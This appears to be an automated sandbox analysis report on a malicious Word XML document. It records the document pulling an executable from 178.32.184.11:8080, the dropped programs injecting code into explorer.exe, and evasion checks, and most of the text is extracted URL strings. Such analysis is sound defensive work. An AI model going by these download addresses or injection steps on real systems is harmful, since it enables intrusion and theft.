Source: explorer.exeString found in binary or memory: http://www.iask.com/
Source: explorer.exeString found in binary or memory: http://www.iask.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.kkbox.com.tw/
Source: explorer.exeString found in binary or memory: http://www.kkbox.com.tw/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.linternaute.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.live.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.maktoob.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.mercadolibre.com.mx/
Source: explorer.exeString found in binary or memory: http://www.mercadolibre.com.mx/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.mercadolivre.com.br/
Source: explorer.exeString found in binary or memory: http://www.mercadolivre.com.br/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.merlin.com.pl/
Source: explorer.exeString found in binary or memory: http://www.merlin.com.pl/favicon.ico
Source: WINWORD.EXEString found in binary or memory: http://www.microsoft.com
Source: explorer.exeString found in binary or memory: http://www.microsoft.com.
Source: WINWORD.EXEString found in binary or memory: http://www.microsoft.com.windows
Source: explorer.exeString found in binary or memory: http://www.microsoft.com/favicon.ico
Source: WINWORD.EXEString found in binary or memory: http://www.microsoft.com/isapi/redir.dll?prd=&sbp=&plcid=&pver=&os=&over=&olcid=&clcid=&ar=&sba=&o1=
Source: WINWORD.EXEString found in binary or memory: http://www.microsoft.com/netmeeting/.
Source: explorer.exeString found in binary or memory: http://www.microsoft.com/schemas/rss/core/2005/internal
Source: explorer.exeString found in binary or memory: http://www.microsoft.com/windowsxp/expertzone/
Source: explorer.exeString found in binary or memory: http://www.mtv.com/
Source: explorer.exeString found in binary or memory: http://www.mtv.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.myspace.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.najdi.si/
Source: explorer.exeString found in binary or memory: http://www.najdi.si/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.nate.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.neckermann.de/
Source: explorer.exeString found in binary or memory: http://www.neckermann.de/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.news.com.au/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.nifty.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.ocn.ne.jp/favicon.ico
Source: WINWORD.EXEString found in binary or memory: http://www.officenet.net/
Source: explorer.exeString found in binary or memory: http://www.orange.fr/
Source: explorer.exeString found in binary or memory: http://www.otto.de/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.ozon.ru/
Source: explorer.exeString found in binary or memory: http://www.ozon.ru/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.ozu.es/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.paginasamarillas.es/
Source: explorer.exeString found in binary or memory: http://www.paginasamarillas.es/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.pchome.com.tw/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.priceminister.com/
Source: explorer.exeString found in binary or memory: http://www.priceminister.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.rakuten.co.jp/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.rambler.ru/
Source: explorer.exeString found in binary or memory: http://www.rambler.ru/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.recherche.aol.fr/
Source: explorer.exeString found in binary or memory: http://www.rtl.de/
Source: explorer.exeString found in binary or memory: http://www.rtl.de/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.servicios.clarin.com/
Source: explorer.exeString found in binary or memory: http://www.shopzilla.com/
Source: explorer.exeString found in binary or memory: http://www.sify.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.so-net.ne.jp/share/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.sogou.com/
Source: explorer.exeString found in binary or memory: http://www.sogou.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.soso.com/
Source: explorer.exeString found in binary or memory: http://www.soso.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.t-online.de/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.taobao.com/
Source: explorer.exeString found in binary or memory: http://www.taobao.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.target.com/
Source: explorer.exeString found in binary or memory: http://www.target.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.tchibo.de/
Source: explorer.exeString found in binary or memory: http://www.tchibo.de/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.tesco.com/
Source: explorer.exeString found in binary or memory: http://www.tesco.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.timesonline.co.uk/img/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.tiscali.it/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.univision.com/
Source: explorer.exeString found in binary or memory: http://www.univision.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.w3.org/1999/02/22-rdf-syntax-ns#
Source: explorer.exeString found in binary or memory: http://www.w3.org/1999/xhtml
Source: explorer.exeString found in binary or memory: http://www.w3.org/1999/xsl/transform
Source: WINWORD.EXEString found in binary or memory: http://www.w3.org/2001/schema-instance
Source: explorer.exeString found in binary or memory: http://www.w3.org/tr/html4/loose.dtd
Source: explorer.exeString found in binary or memory: http://www.w3.org/tr/html4/strict.dtd
Source: explorer.exeString found in binary or memory: http://www.w3.org/tr/html401/strict.dtd
Source: explorer.exeString found in binary or memory: http://www.w3.org/tr/rec-html40/strict.dtd
Source: WINWORD.EXE, explorer.exeString found in binary or memory: http://www.w3.org/tr/wd-xsl
Source: explorer.exeString found in binary or memory: http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd
Source: WINWORD.EXEString found in binary or memory: http://www.w3.org/xml/1998/namespace
Source: explorer.exeString found in binary or memory: http://www.walmart.com/
Source: explorer.exeString found in binary or memory: http://www.walmart.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.weather.com/
Source: explorer.exeString found in binary or memory: http://www.weather.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.ya.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.yam.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.yandex.ru/
Source: explorer.exeString found in binary or memory: http://www.yandex.ru/favicon.ico
Source: explorer.exeString found in binary or memory: http://www3.fnac.com/
Source: explorer.exeString found in binary or memory: http://www3.fnac.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://xml-us.amznxslt.com/onca/xml?service=awsecommerceservice&version=2008-06-26&operation
Source: explorer.exeString found in binary or memory: http://yellowpages.superpages.com/
Source: explorer.exeString found in binary or memory: http://yellowpages.superpages.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://z.about.com/m/a08.ico
Source: rundll32.exe, explorer.exeString found in binary or memory: https://
Source: explorer.exeString found in binary or memory: https://check.torproject.org/?lang=de
Source: MSOXMLED.EXE, WINWORD.EXE, explorer.exeString found in binary or memory: https://check.torproject.org/favicon.ico
Source: explorer.exeString found in binary or memory: https://example.com
Source: explorer.exeString found in binary or memory: https://ieonlinews.microsoft.com/
Source: explorer.exeString found in binary or memory: https://localhost
Source: explorer.exeString found in binary or memory: https://www.example.com.
Source: explorer.exeString found in binary or memory: https://www.google.ch
Source: explorer.exeString found in binary or memory: https://www.google.ch/
Source: MSOXMLED.EXE, WINWORD.EXE, explorer.exeString found in binary or memory: https://www.google.ch/favicon.ico
Contains functionality to download additional files from the internetShow sources
Source: C:\edg1.exeCode function: 3_2_004077AA select,recv,recv,3_2_004077AA
Downloads filesShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\RC9GAWT2\abs5ajsu[1].exe
Downloads executable code via HTTPShow sources
Source: global trafficHTTP traffic detected: HTTP/1.1 200 OK Server: Microsoft-IIS/8.5 Date: Wed, 04 Mar 2015 13:54:06 GMT Content-Type: application/x-msdos-program Content-Length: 84992 Connection: keep-alive Last-Modified: Wed, 04 Mar 2015 09:03:08 GMT ETag: "1000ba0-14c00-51072b85b2eff" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 66 de 3f b2 07 b0 6c b2 07 b0 6c b2 07 b0 6c 95 c1 cb 6c b0 07 b0 6c 71 08 ed 6c a5 07 b0 6c b2 07 b1 6c e7 07 b0 6c b2 07 b0 6c b3 07 b0 6c 95 c1 c8 6c b3 07 b0 6c 52 69 63 68 b2 07 b0 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 Data Ascii: MZ@!
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET /azvxjdfr31k/abs5ajsu.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Host: 178.32.184.11:8080 Connection: Keep-Alive
Found strings which match to known social media urlsShow sources
Source: explorer.exeString found in binary or memory: <FavoriteIcon>http://search.yahoo.co.jp/favicon.ico</FavoriteIcon> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <FavoriteIcon>http://search.yahoo.com/favicon.ico</FavoriteIcon> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <FavoriteIcon>http://www.facebook.com/favicon.ico</FavoriteIcon> equals www.facebook.com (Facebook)
Source: explorer.exeString found in binary or memory: <FavoriteIcon>http://www.myspace.com/favicon.ico</FavoriteIcon> equals www.myspace.com (Myspace)
Source: explorer.exeString found in binary or memory: <FavoriteIcon>http://www.rambler.ru/favicon.ico</FavoriteIcon> equals www.rambler.ru (Rambler)
Source: explorer.exeString found in binary or memory: <URL>http://br.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://de.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://es.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://espanol.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://fr.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://in.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://it.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://kr.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://ru.search.yahoo.com</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://sads.myspace.com/</URL> equals www.myspace.com (Myspace)
Source: explorer.exeString found in binary or memory: <URL>http://search.cn.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://search.yahoo.co.jp</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://tw.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://uk.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: <URL>http://www.facebook.com/</URL> equals www.facebook.com (Facebook)
Source: explorer.exeString found in binary or memory: <URL>http://www.rambler.ru/</URL> equals www.rambler.ru (Rambler)
Source: explorer.exeString found in binary or memory: <SuggestionsURL>http://ie.search.yahoo.com/os?command={SearchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: explorer.exeString found in binary or memory: Free Hotmail.url equals www.hotmail.com (Hotmail)
Source: MSOXMLED.EXE, WINWORD.EXE, explorer.exeString found in binary or memory: minin, Outlook et Hotmail equals www.hotmail.com (Hotmail)
Source: MSOXMLED.EXE, WINWORD.EXE, explorer.exeString found in binary or memory: ok et Hotmail equals www.hotmail.com (Hotmail)
Posts data to webserverShow sources
Source: unknownHTTP traffic detected: POST / HTTP/1.1 Referer: https://twitter.com/ Content-Type: video/h264 Host: 3dtZB co User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0 Connection: Close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Length: 6980
Uses a known web browser user agent for HTTP communicationShow sources
Source: global trafficHTTP traffic detected: GET /azvxjdfr31k/abs5ajsu.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Host: 178.32.184.11:8080 Connection: Keep-Alive
Source: global trafficHTTP traffic detected: POST / HTTP/1.1 Referer: https://twitter.com/ Content-Type: video/h264 Host: 3dtZB co User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0 Connection: Close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Length: 6980
Detected TCP or UDP traffic on non-standard portsShow sources
Source: global trafficTCP traffic: 192.168.1.10:1031 -> 178.32.184.11:8080

Persistence and Installation Behavior:

barindex
Drops PE filesShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\RC9GAWT2\abs5ajsu[1].exe
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\fdgfdgdfga.exe

Data Obfuscation:

barindex
Contains functionality to dynamically determine API callsShow sources
Source: C:\edg1.exeCode function: 3_2_00405D58 RtlMoveMemory,LoadLibraryW,GetProcAddress,3_2_00405D58
Generates new code (likely due to unpacking of malware or shellcode)Show sources
Source: C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exeCode execution: Found new code
Source: C:\edg1.exeCode execution: Found new code
Source: C:\WINDOWS\system32\rundll32.exeCode execution: Found new code
Source: C:\WINDOWS\system32\rundll32.exeCode execution: Found new code

Spreading:

barindex
Contains functionality to enumerate / list files inside a directoryShow sources
Source: C:\WINDOWS\system32\rundll32.exeCode function: 4_1_20001DF0 GetProfileStringA,CreateEventA,GetWindowsDirectoryW,SetHandleCount,DeleteTimerQueue,CopyFileExW,GetProfileSectionA,FindNextVolumeW,MoveFileWithProgressW,GetTimeZoneInformation,InterlockedPopEntrySList,GetNamedPipeHandleStateA,GetEnvironmentVariableA,WTSGetActiveConsoleSessionId,GetCompressedFileSizeA,IsProcessorFeaturePresent,#200,CreateWaitableTimerW,SetFileShortNameW,WinExec,GetSystemDefaultUILanguage,GlobalFree,SetCommTimeouts,GetMailslotInfo,EnumCalendarInfoExW,VirtualQueryEx,QueryMemoryResourceNotification,InterlockedExchange,SetLocaleInfoA,DeleteFileW,FindNextChangeNotification,ReadFileScatter,DeleteFileA,DeleteVolumeMountPointW,SetConsoleWindowInfo,#260,EnumResourceNamesA,IsValidLanguageGroup,lstrcmpiW,UpdateResourceW,CreateWaitableTimerA,VirtualQuery,SuspendThread,EnumSystemCodePagesA,GetConsoleSelectionInfo,#134,UnhandledExceptionFilter,CreateDIBPatternBrushPt,SetComputerNameW,CancelWaitableTimer,SetEndOfFile,GetFullPathNameA,WriteConsoleOutputA,WriteProcessMemory,SetFileTime,lstrcmpW,Sys4_1_20001DF0

System Summary:

barindex
Checks if Microsoft Office is installedShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEKey opened: HKEY_USERS\Software\Microsoft\Office\11.0\Word\Resiliency\StartupItems
Binary contains paths to debug symbolsShow sources
Source: Binary string: wwintl.pdb source: WINWORD.EXE
Source: Binary string: buildlab1\otools\BBT_TEMP\FNAMEO.pdb source: WINWORD.EXE
Source: Binary string: vsplab1\otools\BBT_TEMP\MSOINTLO.pdb source: WINWORD.EXE
Source: Binary string: evsplab1\otools\BBT_TEMP\WWINTLO.pdb source: WINWORD.EXE
Source: Binary string: stintl.pdb source: WINWORD.EXE
Source: Binary string: msointl.pdb source: WINWORD.EXE
Source: Binary string: mscoree32.pdb source: rundll32.exe
Source: Binary string: fice\11.0\5510.0\setup\X86\ship\Files\PFiles\Common\MSShared\smarttag\1033\stintl.pdb source: WINWORD.EXE
Source: Binary string: fname.pdb source: WINWORD.EXE
Contains functionality to load and extract PE file embedded resourcesShow sources
Source: C:\edg1.exeCode function: 3_1_004055D0 LoadLibraryW,SetupComm,DebugBreakProcess,LockResource,SetThreadAffinityMask,SetTapePosition,#180,AllocConsole,WritePrivateProfileStructA,DeleteFileA,GetPrivateProfileSectionNamesW,lstrlenA,GetStringTypeExA,SetEnvironmentVariableW,FindNextFileA,FreeLibraryAndExitThread,DecodeSystemPointer,EnumCalendarInfoExW,LoadCursorW,GetSystemWindowsDirectoryW,ResetEvent,GetStartupInfoW,IsBadWritePtr,#86,ReadConsoleW,GetCalendarInfoA,ReadConsoleA,#259,GetQueuedCompletionStatus,RegisterWindowMessageW,SHInvokePrinterCommandW,TerminateThread,FindAtomA,ReleaseActCtx,RemoveVectoredExceptionHandler,GetConsoleCP,CreateDirectoryW,SetCommBreak,FindFirstVolumeA,GetCommandLineA,WideCharToMultiByte,SetEnvironmentVariableA,VerifyVersionInfoA,ExitProcess,CreateDIBPatternBrushPt,InSendMessageEx,SetFileShortNameA,GetVolumeInformationW,CopyFileW,GlobalHandle,VirtualProtectEx,GetConsoleFontSize,CreateMDIWindowW,lstrcpyA,VirtualFree,FindAtomW,GetGeoInfoW,WriteConsoleOutputCharacterW,GetBinaryTypeW,WritePrivateProfileStringA,Create3_1_004055D0
Creates files inside the user directoryShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\word.xml.LNK
Creates temporary filesShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFF099.tmp
Reads ini filesShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile read: C:\Documents and Settings\Administrator\Application Data\desktop.ini
Runs a DLL by calling functionsShow sources
Source: C:\edg1.exeProcess created: C:\WINDOWS\system32\rundll32.exe rundll32.exe C:\2.tmp NotifierInit
Spawns processesShow sources
Source: unknownProcess created: C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSOXMLED.EXE
Source: unknownProcess created: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE
Source: unknownProcess created: C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exe
Source: unknownProcess created: C:\edg1.exe
Source: unknownProcess created: C:\WINDOWS\system32\rundll32.exe
Source: C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSOXMLED.EXEProcess created: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE /n /dde C:\word.xml
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess created: C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exe C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exe
Source: C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exeProcess created: C:\edg1.exe \edg1.exe C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\FDGFDG~1.EXE
Source: C:\edg1.exeProcess created: C:\WINDOWS\system32\rundll32.exe rundll32.exe C:\2.tmp NotifierInit
Uses an in-process (OLE) Automation serverShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DAD90BC7-5321-4048-939A-694B0A274C02}\InprocServer32
Creates mutexesShow sources
Source: C:\WINDOWS\system32\rundll32.exeMutant created: \BaseNamedObjects\Global\06d5c3d3b70a1d31f17814cc66d006bf
Enables driver privilegesShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess token adjusted: Load Driver
Tries to load missing DLLsShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXESection loaded: xpsp2res.dll

HIPS / PFW / Operating System Protection Evasion:

barindex
May try to detect the Windows Explorer process (often used for injection)Show sources
Source: WINWORD.EXE, rundll32.exe, explorer.exeBinary or memory string: Progman
Source: WINWORD.EXE, rundll32.exe, explorer.exeBinary or memory string: Program Manager
Source: WINWORD.EXE, explorer.exeBinary or memory string: Shell_TrayWnd
Allocates memory in foreign processesShow sources
Source: C:\WINDOWS\system32\rundll32.exeMemory allocated: C:\WINDOWS\explorer.exe base: 2640000 protect: page read and write
Source: C:\WINDOWS\system32\rundll32.exeMemory allocated: C:\WINDOWS\explorer.exe base: CB0000 protect: page execute and read and write
Source: C:\WINDOWS\system32\rundll32.exeMemory allocated: C:\WINDOWS\explorer.exe base: F40000 protect: page read and write
Source: C:\WINDOWS\system32\rundll32.exeMemory allocated: C:\WINDOWS\explorer.exe base: F73000 protect: page read and write
Changes memory attributes in foreign processes to executable or writableShow sources
Source: C:\WINDOWS\system32\rundll32.exeMemory protected: C:\WINDOWS\explorer.exe base: 2640000 protect: page execute and read and write
Source: C:\WINDOWS\system32\rundll32.exeMemory protected: C:\WINDOWS\explorer.exe base: 2640000 protect: page read and write
Source: C:\WINDOWS\system32\rundll32.exeMemory protected: C:\WINDOWS\explorer.exe base: CB0000 protect: page execute and read and write
Source: C:\WINDOWS\system32\rundll32.exeMemory protected: C:\WINDOWS\explorer.exe base: CB0000 protect: page execute and read and write
Source: C:\WINDOWS\system32\rundll32.exeMemory protected: C:\WINDOWS\explorer.exe base: CB09AC protect: page execute and read and write
Source: C:\WINDOWS\system32\rundll32.exeMemory protected: C:\WINDOWS\explorer.exe base: CB0000 protect: page execute and read and write
Source: C:\WINDOWS\system32\rundll32.exeMemory protected: C:\WINDOWS\explorer.exe base: F73000 protect: page read and write and page guard
Contains functionality to inject code into remote processesShow sources
Source: C:\WINDOWS\system32\rundll32.exeCode function: 4_1_20001DF0 GetProfileStringA,CreateEventA,GetWindowsDirectoryW,SetHandleCount,DeleteTimerQueue,CopyFileExW,GetProfileSectionA,FindNextVolumeW,MoveFileWithProgressW,GetTimeZoneInformation,InterlockedPopEntrySList,GetNamedPipeHandleStateA,GetEnvironmentVariableA,WTSGetActiveConsoleSessionId,GetCompressedFileSizeA,IsProcessorFeaturePresent,#200,CreateWaitableTimerW,SetFileShortNameW,WinExec,GetSystemDefaultUILanguage,GlobalFree,SetCommTimeouts,GetMailslotInfo,EnumCalendarInfoExW,VirtualQueryEx,QueryMemoryResourceNotification,InterlockedExchange,SetLocaleInfoA,DeleteFileW,FindNextChangeNotification,ReadFileScatter,DeleteFileA,DeleteVolumeMountPointW,SetConsoleWindowInfo,#260,EnumResourceNamesA,IsValidLanguageGroup,lstrcmpiW,UpdateResourceW,CreateWaitableTimerA,VirtualQuery,SuspendThread,EnumSystemCodePagesA,GetConsoleSelectionInfo,#134,UnhandledExceptionFilter,CreateDIBPatternBrushPt,SetComputerNameW,CancelWaitableTimer,SetEndOfFile,GetFullPathNameA,WriteConsoleOutputA,WriteProcessMemory,SetFileTime,lstrcmpW,Sys4_1_20001DF0
Creates a thread in another existing process (thread injection)Show sources
Source: C:\WINDOWS\system32\rundll32.exeThreat created: C:\WINDOWS\explorer.exe EIP: 7C8106F9
Injects a PE file into a foreign processesShow sources
Source: C:\WINDOWS\system32\rundll32.exeMemory written: C:\WINDOWS\explorer.exe base: 2640000 value starts with: 4D5A
Source: C:\WINDOWS\system32\rundll32.exeMemory written: C:\WINDOWS\explorer.exe base: CB0000 value starts with: 4D5A
Injects code into the Windows Explorer (explorer.exe)Show sources
Source: C:\WINDOWS\system32\rundll32.exeMemory written: PID: 1564 base: 2640000 value: 4D
Source: C:\WINDOWS\system32\rundll32.exeMemory written: PID: 1564 base: CB0000 value: 4D
Source: C:\WINDOWS\system32\rundll32.exeMemory written: PID: 1564 base: CB09AC value: 55
Writes to foreign memory regionsShow sources
Source: C:\WINDOWS\system32\rundll32.exeMemory written: C:\WINDOWS\explorer.exe base: 2640000
Source: C:\WINDOWS\system32\rundll32.exeMemory written: C:\WINDOWS\explorer.exe base: CB0000
Source: C:\WINDOWS\system32\rundll32.exeMemory written: C:\WINDOWS\explorer.exe base: CB09AC

Anti Debugging and Sandbox Evasion:

barindex
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))Show sources
Source: C:\edg1.exeSystem information queried: KernelDebuggerInformation
Checks the free space of harddrivesShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEFile Volume queried: C:\WINDOWS\system32 FullSizeInformation
Source: C:\WINDOWS\explorer.exeFile Volume queried: C:\ FullSizeInformation
Contains functionality to dynamically determine API callsShow sources
Source: C:\edg1.exeCode function: 3_2_00405D58 RtlMoveMemory,LoadLibraryW,GetProcAddress,3_2_00405D58
Contains functionality which may be used to detect a debugger (GetProcessHeap)Show sources
Source: C:\edg1.exeCode function: 3_2_00405E44 GetProcessHeap,HeapAlloc,3_2_00405E44
Creates guard pages, often used to prevent reverse engineering and debuggingShow sources
Source: C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSOXMLED.EXEMemory protected: page read and write and page guard
Found dropped PE file which has not been started or loadedShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEDropped PE file which has not been started: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\RC9GAWT2\abs5ajsu[1].exe
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEDropped PE file which has not been started: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\fdgfdgdfga.exe
Is looking for software installed on the systemShow sources
Source: C:\edg1.exeRegistry key enumerated: More than 225 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
May sleep (evasive loops) to hinder dynamic analysisShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE TID: 288Thread sleep count: 557 > 100
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE TID: 288Thread sleep time: -111400ms >= -60000ms
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE TID: 1116Thread sleep time: -60000ms >= -60000ms
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE TID: 1836Thread sleep time: -922337203685477ms >= -60000ms

Virtual Machine Detection:

barindex
Contains functionality to enumerate / list files inside a directoryShow sources
Source: C:\WINDOWS\system32\rundll32.exeCode function: 4_1_20001DF0 GetProfileStringA,CreateEventA,GetWindowsDirectoryW,SetHandleCount,DeleteTimerQueue,CopyFileExW,GetProfileSectionA,FindNextVolumeW,MoveFileWithProgressW,GetTimeZoneInformation,InterlockedPopEntrySList,GetNamedPipeHandleStateA,GetEnvironmentVariableA,WTSGetActiveConsoleSessionId,GetCompressedFileSizeA,IsProcessorFeaturePresent,#200,CreateWaitableTimerW,SetFileShortNameW,WinExec,GetSystemDefaultUILanguage,GlobalFree,SetCommTimeouts,GetMailslotInfo,EnumCalendarInfoExW,VirtualQueryEx,QueryMemoryResourceNotification,InterlockedExchange,SetLocaleInfoA,DeleteFileW,FindNextChangeNotification,ReadFileScatter,DeleteFileA,DeleteVolumeMountPointW,SetConsoleWindowInfo,#260,EnumResourceNamesA,IsValidLanguageGroup,lstrcmpiW,UpdateResourceW,CreateWaitableTimerA,VirtualQuery,SuspendThread,EnumSystemCodePagesA,GetConsoleSelectionInfo,#134,UnhandledExceptionFilter,CreateDIBPatternBrushPt,SetComputerNameW,CancelWaitableTimer,SetEndOfFile,GetFullPathNameA,WriteConsoleOutputA,WriteProcessMemory,SetFileTime,lstrcmpW,Sys4_1_20001DF0
Queries a list of all running processesShow sources
Source: C:\WINDOWS\system32\rundll32.exeProcess information queried: ProcessInformation
Contains long sleeps (>= 3 min)Show sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEThread delayed: delay time: -922337203685477
May tried to detect the virtual machine to hinder analysis (VM artifact strings found in memory)Show sources
Source: explorer.exeBinary or memory string: 2\VBoxTray.exe
Source: explorer.exeBinary or memory string: Root\LEGACY_VMSCSI\0000
Source: explorer.exeBinary or memory string: SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S&Rev_1.0\4&5fcaafc&1&000
Source: explorer.exeBinary or memory string: ROOT\LEGACY_VMSCSI\0000
